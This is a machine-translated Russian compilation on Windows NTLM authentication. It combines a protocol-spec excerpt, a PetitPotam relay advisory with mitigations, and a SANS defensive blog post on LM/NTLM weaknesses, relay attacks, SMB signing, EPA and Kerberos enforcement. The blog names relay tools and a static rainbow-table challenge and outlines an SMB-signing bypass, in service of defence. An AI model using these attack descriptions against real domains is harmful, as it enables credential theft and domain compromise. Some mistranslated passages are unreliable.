находится ([MS-ADTS]
раздел 6.3.6).
Сервер NTLM ДОЛЖЕН установить соединение с контроллером домена (раздел 3.1.4.6 [MS-NRPC]).
Сервер NTLM ДОЛЖЕН вызывать метод NetrLogonSamLogonEx (раздел [MS-NRPC]
3.5.4.5.1).

Если NTLMServerDomainBlocked == TRUE, сервер NTLM
СЛЕДУЕТ <7> вернуть STATUS_NTLM_BLOCKED в
NTLM
клиент.

Если DC относится к ресурсному домену:

  • Если ResourceDCBlocked == TRUE, а имя сервера NTLM
    не совпадает ни с одним из имен серверов DCBlockExceptions , контроллер домена ДОЛЖЕН <8> возвращать STATUS_NTLM_BLOCKED.

Если DC относится к домену учетной записи:

  • Если AccountDCBlocked == TRUE, сервер APDS ДОЛЖЕН <9> возвращать STATUS_NTLM_BLOCKED.

  • Если атрибут domainControllerFunctionality ([MS-ADTS]
    раздел 3.1.1.3.2.25)
    возвращает значение> = 6, учетная запись также не является сервером NTLM
    учетной записи, и сервер APDS определяет, что параметр политики проверки подлинности ([MS-KILE]
    раздел 3.3.5.5)
    применяется, тогда:

    • Если AllowedToAuthenticateTo
      не NULL, проверка доступа ДОЛЖНА быть <10>
      выполняется, чтобы определить, есть ли у пользователя предоставление ACL
      ACTRL_DS_CONTROL_ACCESS ([MS-SAMR]
      Раздел 2.2.1.17).
      Если проверка доступа не удалась, APDS ДОЛЖНЫ вернуть
      STATUS_AUTHENTICATION_FIREWALL_FAILED.

Контроллер домена ДОЛЖЕН проверить статус доступа к учетной записи. Если аккаунт
недопустим для входа в систему, сервер APDS возвращает одну из следующих ошибок:

  • Если атрибут userAccountControl ([MS-ADTS] раздел 2.2.16)
    D Флаг установлен в TRUE, сервер APDS возвращает STATUS_ACCOUNT_DISABLED.

  • Если AccountExpires атрибут ([MS-ADA1]
    Раздел 2.1)
    установлен на значение, которое было в прошлом, сервер APDS возвращает
    STATUS_ACCOUNT_EXPIRED.

  • Если атрибут userAccountControl (раздел [MS-ADTS]
    2.2.16) L флаг установлен в ИСТИНА, сервер APDS возвращает
    STATUS_ACCOUNT_LOCKED_OUT.

  • Если текущее время находится за пределами атрибута logonHours
    ([MS-ADA1] раздел 2.376),
    сервер APDS возвращает STATUS_INVALID_LOGON_HOURS.

  • Если PasswordMustChange , который генерируется с тем же
    метод, как указано в разделе [MS-SAMR] 3.1.5.14.4,
    установлен на значение, которое было в прошлом, сервер APDS возвращает
    STATUS_PASSWORD_EXPIRED.

  • Если PasswordMustChange , ([MS-SAMR] раздел 3.1.5.14.4), является
    ноль, сервер APDS возвращает STATUS_PASSWORD_MUST_CHANGE.

  • Если атрибут userAccountControl (раздел [MS-ADTS]
    2.2.16) SR флаг установлен в TRUE, потому что это вход на основе пароля,
    сервер APDS возвращает STATUS_SMARTCARD_LOGON_REQUIRED.

  • Если атрибут userAccountControl (раздел [MS-ADTS]
    2.2.16) ID флаг установлен в TRUE, сервер APDS возвращает STATUS_NOLOGON_INTERDOMAIN_TRUST_ACCOUNT.

  • Если атрибут userAccountControl (раздел [MS-ADTS]
    2.2.16) Флаг WT установлен в ИСТИНА, сервер APDS возвращает
    STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT.

  • Если атрибут userAccountControl (раздел [MS-ADTS]
    2.2.16) Флаг ST установлен в ИСТИНА, сервер APDS возвращает
    STATUS_NOLOGON_SERVER_TRUST_ACCOUNT.

Реализация сервера APDS может выбрать отправку дополнительных
описательные коды ошибок (как в случае выше). Однако сервер NTLM ДОЛЖЕН
рассматривать любую ошибку, возвращаемую контроллером домена, как сбой входа в систему.

Контроллер домена пытается проверить запрос, увеличивает LogonAttempts ,
и в случае успеха аутентифицируйте пользователя. Если проверка не удалась, DC
ДОЛЖЕН возвращать ошибку. Роль контроллера домена в последовательности проверки подлинности NTLM:
указано в [MS-NLMP]
Раздел 3.3.

После успешной проверки:

  • Если атрибут domainControllerFunctionality ([MS-ADTS]
    раздел 3.1.1.3.2.25) возвращает значение> = 6, и пользователь является членом
    из PROTECTED_USERS ([MS-DTYP]
    раздел 2.4.2.4),
    APDS СЛЕДУЕТ вернуть <11>
    STATUS_ACCOUNT_RESTRICTION.

  • В противном случае DC учетной записи пользователя ДОЛЖЕН отправить домен global
    группы и универсальные группы (членом которых является пользователь) на DC сервера,
    и ДОЛЖЕН следовать доверительному пути, который использовался для связи с DC учетной записи пользователя.
    ([MS-NRPC] раздел 3.5.4.5.1).

Когда доверие пересекается на пути доверия,
TRUST_ATTRIBUTE_CROSS_ORGANIZATION ([MS-LSAD]
раздел 2.2.7.9)
установлен, контроллер домена ДОЛЖЕН добавить OTHER_ORGANIZATION SID
([MS-DTYP] раздел 2.4.2.4) в группы пользователей.

Когда у пользователя есть OTHER_ORGANIZATION SID, сервер
домен DC ДОЛЖЕН выполнить проверку доступа, где:

Если проверка доступа не удалась, контроллер домена ДОЛЖЕН отклонить
запрос аутентификации и возврат STATUS_AUTHENTICATION_FIREWALL_FAILED. В
сервер домена DC также ДОЛЖЕН добавить локальные группы домена, а затем отправить
весь список групп на NTLM-сервере, которые будут использоваться для авторизации
решения.

Для реализаций сервера NTLM, использующих авторизацию.
модели, основанной на идентификаторе безопасности (SID), сервер ДОЛЖЕН заполнить
SID пользователя и SID группы безопасности в ImpersonationAccessToken
(раздел 3.1.1) следующим образом:

  • Concatenate LogonDomainId ([MS-NRPC] разделы 2.2.1.4.11,
    2.2.1.4.12,
    и 2.2.1.4.13)
    и UserId ([MS-NRPC] разделы 2.2.1.4.11, 2.2.1.4.12 и 2.2.1.4.13),
    добавьте результат в ImpersonationAccessToken.Sids и установите ImpersonationAccessToken.UserIndex
    поле к этому индексу.

  • Concatenate LogonDomainId ([MS-NRPC] разделы 2.2.1.4.11,
    2.2.1.4.12 и 2.2.1.4.13) и PrimaryGroupId (разделы [MS-NRPC]
    2.2.1.4.11, 2.2.1.4.12 и 2.2.1.4.13) добавьте результат к ImpersonationAccessToken.Sids
    массив и установите поле ImpersonationAccessToken.PrimaryGroup на это
    показатель.

  • Для каждого GroupIds (разделы [MS-NRPC] 2.2.1.4.11,
    2.2.1.4.12 и 2.2.1.4.13), объедините LogonDomainId ([MS-NRPC]
    разделы 2.2.1.4.11, 2.2.1.4.12 и 2.2.1.4.13) и GroupIds.RelativeID
    ([MS-NRPC] разделы 2.2.1.4.11, 2.2.1.4.12 и 2.2.1.4.13) и добавьте результат
    в массив ImpersonationAccessToken.Sids .

  • Для каждых ExtraSids ([MS-NRPC] разделы 2.2.1.4.12 и
    2.2.1.4.13) добавьте ExtraSids.Sid ​​ ([MS-NRPC] разделы 2.2.1.4.12 и
    2.2.1.4.13) в массив ImpersonationAccessToken.Sids .

Сервер вызывает GatherGroupMembershipForSystem
([MS-DTYP] раздел 2.5.2.1.1), где InitialMembership содержит ImpersonationAccessToken.Sids
массив и установите для массива ImpersonationAccessToken.Sids значение FinalMembership .

Сервер вызывает AddPrivilegesToToken
([MS-DTYP] раздел 2.5.2.1.2), где Token содержит ImpersonationAccessToken .

Другие структуры SID могут быть добавлены к ImpersonationAccessToken
после аутентификации (см. [MS-DTYP] раздел 2.7.1).

PetitPotam NTLM Relay Attack | Deepwatch Labs

Сводка

Французский исследователь безопасности Жиль Лионель обнаружил новую атаку ретрансляции NTLM, которую он назвал PetitPotam. 18 июля Джайлз опубликовал доказательство концепции (PoC) в своем аккаунте GitHub. Джайлз отметил, что этот недостаток работает, заставляя «хосты Windows аутентифицироваться на других машинах с помощью функции MS-EFSRPC EfsRpcOpenFileRaw.”

Атака «позволяет контроллеру домена (DC) пройти аутентификацию на удаленном NTLM под контролем злоумышленника с помощью интерфейса MS-EFSRPC и поделиться своей аутентификационной информацией. Это делается путем подключения к LSARPC, что приводит к сценарию, когда целевой сервер подключается к произвольному серверу и выполняет проверку подлинности NTLM ».

Затронутые версии

  • Серверы Windows с включенным NTLM и использующие службы сертификации Active Directory (AD CS) со следующими службами:
    • Регистрация через Интернет в центре сертификации или
    • Веб-служба регистрации сертификатов

Удар

Успешная эксплуатация дает злоумышленнику сертификат проверки подлинности, который можно использовать для доступа к службам домена в качестве контроллера домена, а также возможность компрометации всего домена.

Обходные пути

Чтобы смягчить эту атаку, 23 июля Microsoft выпустила KB5005413. Microsoft заявляет, что предпочтительной мерой по снижению риска является «отключение проверки подлинности NTLM на контроллере домена Windows в качестве простейшего решения». Это можно сделать, следуя документации в разделе «Сетевая безопасность: Ограничить NTLM: проверка подлинности NTLM в этом домене».

Microsoft также предоставила дополнительные средства защиты, если вы не можете отключить NTLM по соображениям совместимости.Они перечислены в порядке от более надежного к менее надежному:

  • Отключите NTLM на любых серверах AD CS в вашем домене с помощью групповой политики. Сетевая безопасность: ограничение NTLM: входящий трафик NTLM.
  • Отключите NTLM для информационных служб Интернета (IIS) на серверах AD CS в вашем домене, на которых запущены службы «Регистрация в центре сертификации через Интернет» или «Веб-служба подачи заявок на сертификаты».

Чтобы увидеть подробности реализации любого из этих обходных путей, deepwatch рекомендует обратиться к руководству Microsoft, предоставленному KB5005413.

Дополнительная информация

Узнайте больше об управляемом обнаружении и ответе deepwatch здесь.

Блог о цифровой криминалистике и реагировании на инциденты

SANS | Защита учетных записей привилегированных доменов: углубленная сетевая аутентификация

[Примечание автора: это 5 из серии, состоящей из нескольких частей, посвященной теме «Защита учетных записей привилегированного домена». Моя основная цель — помочь специалистам по реагированию на инциденты защитить свои привилегированные учетные записи при взаимодействии с включенными хостами, хотя я также считаю, что эта информация будет полезна всем, кто администрирует и защищает среду Windows.]

Одновременно с моей недавней веб-трансляцией SANS по защите учетных записей привилегированных доменов я решил, что пора приступить к работе и опубликовать свои выводы по сетевой аутентификации. Итак, начнем!

Чтобы подвести итог этому путешествию, я начал с обсуждения того, как защитить хэши паролей Windows. Затем я немного отвлекся, чтобы поближе познакомиться с хешем LM и, в частности, с тем фактом, что он хранится в памяти, даже если вы реализовали все функции защиты Microsoft, чтобы отключить его.Затем было обсуждение относительно нового открытия в мире InfoSec — того факта, что наши пароли хранятся в памяти в форме, которая может быть легко выгружена в открытый текст. В моей последней статье обсуждались токены доступа и то, как они могут в некоторых случаях позволить злоумышленнику выдавать себя за вас в сети. В этой статье я расскажу о сетевой аутентификации в домене Windows.

Протоколы сетевой аутентификации Microsoft

Назначение протокола сетевой аутентификации — предоставить метод аутентификации пользователя или компьютера в удаленном хранилище учетных данных.В идеале протокол должен обеспечивать надежную криптографию для защиты аутентифицирующих учетных данных от воздействия атак перехвата и повторного воспроизведения.

Многие протоколы удаленной аутентификации основаны на механизме запроса-ответа, когда клиент делает запрос к серверу, сервер выдает запрос, а клиент отвечает на этот запрос на основе секрета, который известен как клиенту, так и серверу. Это базовая архитектура для устаревших протоколов сетевой аутентификации Microsoft.Другие протоколы сетевой аутентификации используют доверенную стороннюю систему, которая является архитектурой текущего основного протокола аутентификации Microsoft, Kerberos.

Давайте кратко рассмотрим собственные протоколы сетевой аутентификации Microsoft:

LM (Lan Manager) Запрос-ответ

Представленный в конце 80-х вместе с OS / 2, это был основной протокол удаленной аутентификации для версий Windows до Windows NT. Ответ (отклик), который клиент предоставляет на запрос сервера, генерируется из слабого LM-хэша.

Запрос-ответ NTLM

Впервые появившись в Windows NT, основное отличие состоит во включении второго ответа, использующего хеш NT. Если пароль учетной записи поддерживает хэш LM, ответ NTLM от клиента будет включать 2 ответа: ответ на основе хеша LM и другой на основе хеша NT. Если пароль является надежным паролем, который нарушает алгоритм хеширования LM, будет предоставлен только ответ, основанный на хеш-коде NT.

Запрос-ответ NTLMv2

Введено в Windows NT 4.0 SP4 был введен ряд улучшений безопасности, в первую очередь взаимная аутентификация. Вы также можете увидеть обсуждение LMv2 с NTLMv2. LMv2 — это фактически тот же протокол, что и NTLMv2, за исключением того, что он использует усеченный клиентский запрос для лучшей поддержки «сквозной» доменной аутентификации на старых клиентах (я вскоре расскажу о «сквозной» аутентификации). Главный вывод заключается в том, что и LMv2, и NTLMv2 используют только NT-хэш для вычисления ответа серверу, и оба они реализуют взаимную аутентификацию.

Kerberos

Представленная в Windows 2000, это система на основе билетов, зародившаяся в Массачусетском технологическом институте. Для завершения аутентификации требуется NT-хэш. Вскоре еще много чего можно сказать о Kerberos.

Отличным источником информации по этим протоколам является книга Крисофера Хертеля «Реализация CIFS: общая файловая система Интернета ». Книга доступна бесплатно в Интернете, а в главе «Аутентификация» вы найдете очень подробное обсуждение всех этих протоколов.

Все версии Windows, до Windows 8 включительно, поддерживают все предыдущие устаревшие протоколы сетевой аутентификации. Конечно, есть некоторые проблемы со старыми протоколами, которые привели к разработке новых протоколов. Давайте посмотрим на некоторые из этих проблем и то, как Microsoft решила их? И почему нам нужно их опасаться.

Проблема 1: Отсутствие взаимной аутентификации

Основная проблема с первой версией протоколов запрос-ответ LM и NTLM заключается в том, что единственный объект, который проходит аутентификацию, — это клиент.Это означает, что при использовании этих протоколов вполне возможно раскрыть конфиденциальную информацию аутентификации мошенническому серверу. Вот как работает процесс запрос-ответ LMv1 / NTLMv1 (обратите внимание, что для простоты на этой диаграмме показано, как клиент аутентифицируется на сервере, используя локальную учетную запись на сервере, а не учетную запись домена? Я буду обсуждать «сквозной» домен. аутентификации в ближайшее время):

  1. Клиенту необходимо подключиться к серверу, поэтому для аутентификации на сервере выполняется запрос на вход в систему.
  2. Сервер говорит, конечно, без проблем, просто ответьте на этот вызов, основываясь на хеш-коде вашего пароля.
  3. У клиента есть хэш пароля (хэш LM для запроса-ответа LM, а также хэш NT для запроса-ответа NTLM), поэтому он вычисляет ответ на запрос на основе хешей пароля.

Если это законный сервер, сервер вычисляет ответ так же, как и клиент, поскольку он также знает правильные хэши (для локальной учетной записи). Он сравнивает свой ответ с ответом клиента, и, если они совпадают, клиент успешно прошел аутентификацию.

Однако, когда сервер является мошенническим, он получил конфиденциальную информацию для этой учетной записи. У него нет необработанного хэша пароля, который использовался для вычисления ответа, но теперь у него есть вся информация, необходимая для угадывания хэша пароля — у него есть запрос, который он выдал, и правильный ответ от клиента. На практике, вместо того, чтобы вслепую угадывать хэши паролей, наиболее плодотворная атака заключается в том, что злоумышленник запускает статический запрос, для которого он уже предварительно рассчитал множество возможных хэшей (и соответствующих паролей) для этого запроса.Другими словами, злонамеренный сервер может выдать статический вызов, и злоумышленник может использовать предварительно вычисленную радужную таблицу, чтобы определить хэш пароля (и пароль), которые привели к правильному ответу. Для статического 8-байтового запроса 1122334455667788 доступны бесплатные радужные таблицы LM запрос-ответ, и такие инструменты, как модуль smb_sniffer от Metasploit, а также Cain и Abel будут использовать этот запрос по умолчанию. Чтобы увидеть эту атаку в действии, ознакомьтесь с этой отличной статьей Тима Медина.Тим настраивает поддельные службы SMB и HTTP с помощью Metasploit, и как только жертва отвечает на статический вызов, Тим показывает, как взломать ее, чтобы получить пароль.

Microsoft решила эту проблему, представив NTLMv2 и LMv2, которые представляют собой небольшую вариацию, определяющую более короткую задачу клиента в целях обратной совместимости. В обновленных версиях проблема устранена путем включения клиентского запроса на обеспечение взаимной аутентификации. Вот как это работает:

Шаги 1 и 2 такие же, как и раньше.Однако на шаге 3 клиент возвращает серверу ответ, основанный на запросе сервера И запросе, предоставленном клиентом. Если сервер является легитимным, он может легко проверить ответ, используя хэш, его запрос и запрос клиента. С другой стороны, если сервер является мошенническим и не знает хэш пароля для вычисления ответа, он больше не может использовать предварительно вычисленную атаку по радужной таблице, потому что в форме запроса клиента вводится случайность.Злоумышленник по-прежнему может использовать атаку методом грубой силы против вызовов и ответов, но уже невозможно предварительно вычислить эти предположения с помощью атаки по радужной таблице.

Как я вскоре расскажу, Kerberos — лучший вариант для сетевой аутентификации, но бывают случаи, когда он не работает, и Windows возвращается к протоколу на основе LM / NTLM. В таких ситуациях мы хотим убедиться, что используем NTLMv2 для обеспечения безопасности взаимной аутентификации.В разделе Рекомендации в конце этой статьи обсуждается, как принудительно использовать NTLMv2.

Проблема 2: Отражающие и ретрансляционные атаки

Эти две атаки очень умны. Отражательная атака решена, но связанная с ней ретрансляционная атака по-прежнему вызывает у нас озабоченность. Давайте сначала посмотрим на отражающую атаку:

Я не буду рассказывать вам шаги, но, чтобы резюмировать эту атаку, мошеннический сервер эффективно переворачивает таблицы на клиенте и вынуждает клиента непреднамеренно предоставить ответ аутентификации мошенническому серверу, который позволяет ему подключиться обратно к клиентская машина.

Эта конкретная проблема была решена с помощью патча Microsoft MS08-068. Патч не позволяет клиенту SMB отвечать на запросы, которые недавно были выданы его собственной службой сервера SMB. Это хорошо работает в данном конкретном случае использования. Однако это оказывается частным решением более общей проблемы, как демонстрирует Relay Attack.

Атака ретрансляции по-прежнему кооптирует клиента для ответа на вызов, но на этот раз мошеннический сервер передает ответ на машину 3 rd , чтобы получить доступ, как показано здесь:

Инструменты ретрансляции

существуют уже некоторое время, включая SmbRelay3 и модуль smb_relay Metasploit.Эти инструменты очень эффективны, но поддерживают только NTLMv1. Последний модуль Metasploit от Rich Lundeen обеспечивает ретрансляцию NTLM для NTLMv2. Другой новый инструмент, ZackAttack от Зака ​​Фазеля, тоже делает это.

В предыдущей Reflective Attack исправление было для клиента, чтобы убедиться, что он не отвечает ни на какие проблемы, которые он недавно выдал из своей собственной серверной службы. К сожалению, это решение не поможет нам в решении этой проблемы, поскольку для всех клиентов в определенном домене невозможно отслеживать проблемы друг друга.

Так что это за исправление? Что ж, многие люди утверждают, что исправление — это подписывание SMB. Я не согласен по крайней мере по паре причин. Я не хочу перегружать эту часть статьи кучей посторонних деталей, поэтому я добавлю несколько комментариев в конце статьи в виде сносок к этому разделу. На данный момент достаточно сказать, что одна из основных причин, по которой подписывание SMB не является решением, связана с тем, что есть другие службы, помимо SMB, которые используют аутентификацию LM / NTLM, которую невозможно защитить даже с помощью подписи SMB. если он отлично сработал для защиты обмена аутентификацией для SMB (а это не так).

Наиболее полной защитой от релейной атаки является функция, называемая «Расширенная защита для аутентификации» (EPA). Вкратце, EPA обеспечивает для аутентификации NTLMv2 следующее:

  • EPA встраивает имя участника-службы целевой службы с хэшем целостности , подписанным учетными данными учетной записи в запросе на вход. (Имя участника службы — это имя, по которому клиент однозначно идентифицирует экземпляр службы на определенном узле.)
  • Расширенная защита работает, потому что только контроллеры домена и машины, на которых пользователь вводит пароль напрямую, могут вычислять / проверять хэш целостности. Следовательно, новые запросы не могут быть созданы мошенническим сервером, поскольку он не может подписать новый запрос.
  • Мошеннический сервер также не может пересылать (ретранслировать) отправленный ему запрос, потому что хост 3 rd распознал бы, что у запроса было имя принципа службы назначения фальшивого сервера, а не самого себя.

В этой статье описывается, как включить EPA для SMB, в этой статье для IIS и в этой статье для SQL Server.

Эта функция защищает уровень аутентификации. Очень надежная реализация для SMB будет включать в себя подписание как EPA, так и SMB, предотвращая пересылку учетных данных (EPA), а также изменение трафика SMB (подписывание SMB).

Сложная часть эффективной реализации EPA (или подписи SMB, если на то пошло) состоит в том, что она должна требоваться во всем домене, чтобы быть действительно эффективной. Если это необязательно, злоумышленник может просто создать запрос, который сообщает серверу, что он не поддерживает более безопасные настройки.Еще одна сложность заключается в том, что EPA реализуется для каждой услуги, поэтому нет единого переключателя, который бы все это «просто работало». Тем не менее, EPA — лучшее комплексное решение для защиты аутентификации NTLMv2 от ретрансляционной атаки.

Большая проблема: плохой дизайн

Что делает протоколы LM / NTLM вызов-ответ настолько сложными для защиты в доменной среде, так это то, что они используют «сквозную» аутентификацию. Это позволяет мошенническому серверу быть «посредником» при аутентификационном обмене, как показано здесь:

Как видно из этой схемы, в среде домена сервер отправляет запрос клиенту, а затем получает ответ.Как только это произойдет, законный сервер упакует запрос и ответ и отправит его контроллеру домена для проверки, поскольку контроллер домена имеет хэши паролей и может вычислить ответ для проверки. Проблема в том, что ответ по-прежнему является конфиденциальным, и когда сервер скомпрометирован, учетные данные домена подвергаются риску из-за раскрытия ответа.

Итак, какое решение является лучшим? Избегайте протоколов LM / NTLM и используйте вместо них Kerberos!

Большое исправление: Kerberos приходит на помощь

С Kerberos больше нет сквозной аутентификации.Теперь у нас есть доверенная сторонняя архитектура, в которой аутентификация происходит напрямую между клиентом и хранилищем аутентификации (DC). После успешной аутентификации клиенту выдается билет, который затем представляет его серверу для доступа.

Звучит здорово! Мы должны просто использовать Kerberos и полностью отключить протоколы LM / NTLM, вам не кажется? Что ж, к сожалению, вы вряд ли сможете полностью исключить NTLM в своей среде. Следующие ситуации по-прежнему требуют NTLM, как указано в Википедии:

  • Клиент аутентифицируется на сервере, используя IP-адрес.
  • Клиент аутентифицируется на сервере, который принадлежит другому лесу Active Directory, который имеет устаревшее доверие NTLM вместо транзитивного доверия между лесами.
  • Клиент аутентифицируется на сервере, который не принадлежит домену.
  • Если брандмауэр в противном случае ограничивал бы порты, требуемые Kerberos (а их довольно много)

Первый из них — настоящая проблема в большинстве сред. Существует ряд ситуаций, когда вы можете захотеть использовать определенный IP-адрес при подключении к хосту.Например, если записи DNS не были обновлены должным образом, вам может потребоваться связаться с хостом по IP. Другой распространенный сценарий — использование сценариев или инструментов, которые охватывают весь диапазон IP-сети.

Согласно Джесперу Йоханссону в Защитите свою сеть Windows от периметра до данных , причина того, что Windows возвращается к NTLM при использовании IP-адреса, заключается в том, что «Kerberos основан на именах хостов. Поскольку Windows DNS не создает зоны обратного просмотра с помощью по умолчанию протокол не может полагаться на способ преобразования IP-адресов в имена хостов.Следовательно, в этой ситуации он всегда возвращается либо к NTLM, либо к NTLMv2 ».

Тем не менее, мы хотим принудительно использовать Kerberos, когда это возможно. Это особенно актуально для наших рабочих станций с ИК-подсветкой. К счастью, в Windows 7 и Server 2008 R2 у нас есть возможность сделать это с помощью политики. Вот пример политики, которая запрещает исходящую аутентификацию NTLM для всех серверов, с настроенным исключением 192.168.6.12:

Возможность исключить определенные доверенные IP-адреса на вашей рабочей станции IR, например, прокси-сервер, является очень полезной функцией.Обратите внимание, что для регулировки уровня блокировки и аудита NTLM доступно несколько параметров. Хорошим ресурсом для изучения этой функции является статья Microsoft TechNet «Блокировка NTLM и вы: методологии анализа и аудита приложений в Windows 7».

Вот результат некоторых тестов, демонстрирующих функцию блокировки NTLM:

И вот запись журнала событий из заблокированной попытки NTLM на 192.168.6.11 (находится в средстве просмотра событий в разделе Журналы приложений и служб> Microsoft> Windows> NTLM):

В моем тестировании с PsExec , NET USE и WMIC , 2 из 3 будут использовать Kerberos по умолчанию.Я не уверен, почему, но я обнаружил, что WMIC требует некоторой поддержки для использования Kerberos. К счастью, есть переключатель, хотя и неприятный и неприятный, чтобы заставить WMIC использовать Kerberos вместо NTLM. Это / АВТОРИТЕТ: «kerberos: домен \ компьютер». Вот он в действии? Обратите внимание, что первая попытка не удалась, потому что ограничение NTLM заблокировало ее:

Я сказал вам, что это уродливо? Но, по крайней мере, это работает! Если вам интересно, вот простой пакетный сценарий, который вы можете использовать в качестве ярлыка, чтобы вам не приходилось вводить все это каждый раз:

 SET / P PCNAME = Имя хоста для запроса:
SET / P PCDOMAIN = Домен хоста:
SET / P WMICCMD = Команда WMIC для запуска:
wmic / node: "% PCNAME%" / AUTHORITY: "kerberos:% PCDOMAIN% \% PCNAME%"% WMICCMD% 

Назовите его с «.bat «И убедитесь, что командный файл (и любой другой подобный ему) доступен для редактирования только вашей привилегированной учетной записью. В противном случае непривилегированный пользователь может добавить к нему гнусные команды без вашего ведома, а затем, когда вы запустите его со своей привилегированной учетной записью, плохо что-то случится.

Рекомендации по надежной сетевой аутентификации

Прежде всего, убедитесь, что вы используете Windows 7 в качестве рабочей станции IR, и включите функцию блокировки аутентификации NTLM, где это возможно. Одна из распространенных ситуаций IR, когда это вызовет проблемы, — это когда вам нужно пройти аутентификацию по IP-адресу, потому что имя хоста не зарегистрировано в DNS.В этом случае вы можете обманом заставить свою рабочую станцию ​​использовать Kerberos, временно добавив запись в файл «hosts» (Windows \ System32 \ drivers \ etc \ hosts) для системы, к которой необходимо подключиться. Затем удалите его, когда закончите.

В ситуациях, когда вы должны использовать NTLM, обязательно включите NTLMv2 в локальной политике безопасности (secpol.msc), установив «Сетевая безопасность: уровень проверки подлинности LAN Manager» на «Отправлять только ответ NTLMv2 / отказываться от LM и NTLM», как показано здесь:

Если вам необходимо еще больше понизить настройки, убедитесь, что вы используете пароль длиной более 14 символов (что вам в любом случае следует сделать).Это предотвратит хранение хэша LM, и поэтому худшее, что вы можете сделать, — это NTLMv1, а не LMv1. Кроме того, наличие такого длинного пароля затрудняет использование Rainbow Table или атаки методом перебора на ваш запрос / ответ NTLMv1 (я не знаю каких-либо Rainbow Tables, доступных в настоящее время для NTLMv1? Хотя это не означает, что APT не нет их).

Если ни NTLMv1, ни NTLMv2 не работают, вы действительно должны учитывать тот факт, что это может быть атака на более раннюю версию. С подозрением относитесь к любым хостам, требующим аутентификации с помощью LM запрос-ответ.

Наконец, помните, что протоколы запрос-ответ LM / NTLM уязвимы для ретрансляционных атак, независимо от хэша или надежности пароля. Хотя подписывание SMB полезно, рассмотрите возможность внедрения расширенной защиты для проверки подлинности для более полной защиты. Учитывая, что существует несколько ситуаций, ограничивающих использование Kerberos, вполне возможно, что включение EPA в вашей среде стоит потраченного времени и усилий.

На этом пока все, кроме некоторых длинных сносок о подписании SMB.Хотя это было то, что я считал последней «важной» частью головоломки для защиты учетных записей привилегированных доменов, безусловно, есть дополнительные идеи и проблемы, которые следует рассмотреть, поэтому я вернусь к более подробной информации по этому вопросу в ближайшие недели. Спасибо за прочтение!

Сноски по подписке SMB

Как упоминалось выше, некоторые считают подписание SMB решением для атаки ретрансляции. Я не думаю, что этого достаточно по нескольким причинам:

  1. Он защищает только службы SMB.
  2. В реализации Microsoft есть недостаток, который может позволить злоумышленнику эффективно обойти подписывание SMB при определенных обстоятельствах.

Первая проблема довольно проста. В идеальной реализации подписи SMB подписывание SMB защищает от ретрансляции ответа на третий SMB-сервер жертвы, заставляя сообщения SMB подписываться с помощью сеансового ключа, созданного из хэша пароля учетной записи. Неверный сервер не может сгенерировать сеансовый ключ, потому что у него нет хэша пароля, поэтому он не может отправлять сообщения SMB на третий сервер, требующий подписи SMB.Однако это защищает только службу SMB. Если бы существовал инструмент, который позволял бы несанкционированному серверу SMB передавать аутентификацию NTLM не-SMB-сервису, например HTTP-серверу, требующему аутентификации NTLM, функция подписи SMB не обеспечивала бы защиты.

Существует ряд инструментов, реализующих NTLM-ретрансляцию для служб, не относящихся к SMB. Курт Груцмахер написал инструмент под названием Squirtle , который позволяет ретранслировать обмен NTLM-аутентификацией веб-клиента на сервер SMB, который не сработает, если требуется подпись SMB.Однако его код является открытым исходным кодом, и нет причин, по которым его нельзя изменить, чтобы разрешить подключенному SMB-клиенту ретранслировать на службы, не относящиеся к SMB, такие как HTTP-сервер (например, SharePoint или OWA) или другие службы, не относящиеся к SMB. например Exchange (MAPI / MSRPC) или MS SQL (встроенная проверка подлинности Windows). Последний модуль Metasploit от Rich Lundeen предоставляет возможности, аналогичные Squirtle , но с некоторыми дополнительными функциями, включая возможность ретрансляции NTLMv2. Еще один новый инструмент под названием ZackAttack обещает еще большую функциональность и гибкость.Таким образом, даже если подписывание SMB работает так, как рекламируется, все еще существует ряд ситуаций, когда наши учетные данные будут подвергаться риску для ретрансляции NTLM.

Моя вторая проблема с подписью SMB заключается в том, что при определенных обстоятельствах она не работает так, как заявлено. Существует ограничение, реализованное Microsoft, которое может допускать повышение привилегий для SMB-сервера жертвы в ретрансляционной атаке даже с принудительной подписью. Как описано на странице 2 этой статьи Juniper о последствиях подписания SMB и ускорения WAN, сеансовый ключ, который используется для защиты связи SMB между клиентом и сервером, может не потребоваться повторно, если другой пользователь недавно установил соединение между клиентом и сервером.В частности, в нем говорится: «Самый первый реальный вход в систему устанавливает ключ MAC для потока CIFS [CIFS = реализация Microsoft SMB]. Когда пользователь выходит из системы и снова входит в систему с другими именами пользователей, этот поток CIFS клиент / сервер будет подписан ключом MAC, который был ранее вычислен «. Juniper использует это в своих интересах, предлагая клиенту создать «виртуального пользователя» в домене, который WAN-ускоритель может использовать для установления соединения с сервером перед легитимным клиентом, чтобы получить сеансовый ключ для подписи.Затем он может обмениваться подписанными сообщениями SMB, не зная реальных учетных данных пользователя (что было бы необходимо, если бы клиенту / серверу SMB пришлось воссоздавать сеансовый ключ).

Итак, как это разрешить повышение привилегий? Если злоумышленник контролирует систему с непривилегированным пользователем домена, он может играть роль «виртуального пользователя» в решении Juniper. Сначала он может установить SMB-соединение с SMB-сервером жертвы с непривилегированным пользователем, чтобы получить сеансовый ключ.Затем он может дождаться, пока привилегированный пользователь установит SMB-соединение со скомпрометированным хостом, после чего злоумышленник может переслать запрос / ответ и использовать уже установленный сеансовый ключ для подписи. Теперь у злоумышленника есть SMB-соединение с сервером жертвы как привилегированный пользователь домена! Возможно, злоумышленник не заходит так далеко (если не станет доступен инструмент, упрощающий эту задачу), но, безусловно, возможно, пока Microsoft не решит эту проблему.

Теперь, учитывая все вышесказанное, я, конечно же, не хочу подразумевать, что подписывание SMB бесполезно.Если этого требуют серверы и клиенты, это, безусловно, поднимет планку, помогая защитить ваши SMB-коммуникации в большинстве случаев и во всех случаях, если Microsoft устранит лазейку, используемую Juniper. Так что, если у вас есть это принудительное применение в вашей среде, конечно, не отключайте его, но посмотрите на Расширенную защиту для аутентификации, чтобы получить более полное решение проблемы ретрансляции NTLM.

Майк Пилкингтон — старший аналитик по информационной безопасности и специалист по реагированию на инциденты в компании из списка Fortune 500 в Хьюстоне, штат Техас, а также наставником и инструктором SANS.Майк будет преподавать FOR408: Компьютерные криминалистические исследования — подробные сведения о Windows в Рестоне, штат Вирджиния, 12-17 ноября 2012 г.

Билеты Kerberos: понимание и использование

Основная цель этого поста — объяснить наиболее распространенные атаки, которые могут быть выполнены при аудите безопасности или пентесте протокола Kerberos, используемого в доменах Microsoft Active Directory.

